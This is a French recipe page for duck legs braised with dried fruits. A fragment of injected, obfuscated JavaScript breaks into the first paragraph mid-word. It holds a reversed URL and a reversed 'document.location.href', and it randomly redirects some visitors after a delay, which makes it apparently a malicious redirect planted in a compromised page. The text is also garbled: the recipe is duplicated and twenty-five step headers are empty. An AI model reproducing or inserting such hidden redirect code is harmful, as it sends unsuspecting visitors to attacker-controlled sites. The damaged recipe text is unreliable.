Cuisses de canard aux fruits séchés
2021-05-27Dans une cocotte. Versez le bouillon de volaille. Faites chauffer. Portez à ébullition. Réservez. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur feu vif. Faites revenir rectobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-verso les cuisses de canard. Salez, poivrez. Réservez.
Ingrédients
Dans une cocotte. Versez le bouillon de volaille. Faites chauffer. Portez à ébullition. Réservez. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu vif. Faites revenir recto-verso les cuisses de canard. Salez, poivrez. Réservez. Pelez, coupez en deux les gousses d'ail. Ôtez le germe. Prélevez le zeste de l'orange et la presser pour obtenir le jus. Déglacez le récipient où les cuisses de canard ont été cuites avec le vin rouge, ajoutez le vinaigre de framboises
Portez à ébullition pendant quelques secondes en grattant de fond de la cocotte avec une spatule en bois pour décoller les sucs de cuisson.
Incorporez tous les fruits, les gousses d'ail, le jus d'orange, la moitié du zeste prélevé. Déposez les cuisses de canard, quelques pincées de quatre épices, poivrez. Portez à ébullition, mouillez avec le bouillon chaud. Mélangez. Couvrez la cocotte.
Préchauffez le four à 180° C thermostat 6. Enfournez et faites mijoter pendant 2 heures. Goûtez l'assaisonnement et la cuisson. Répartissez dans 4 assiettes, les cuisses de canard et les fruits séchés autour. Du zeste d'orange dessus pour la décoration. Dégustez avec des patates douces
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
Etape 16
Etape 17
Etape 18
Etape 19
Etape 20
Etape 21
Etape 22
Etape 23
Etape 24
Etape 25
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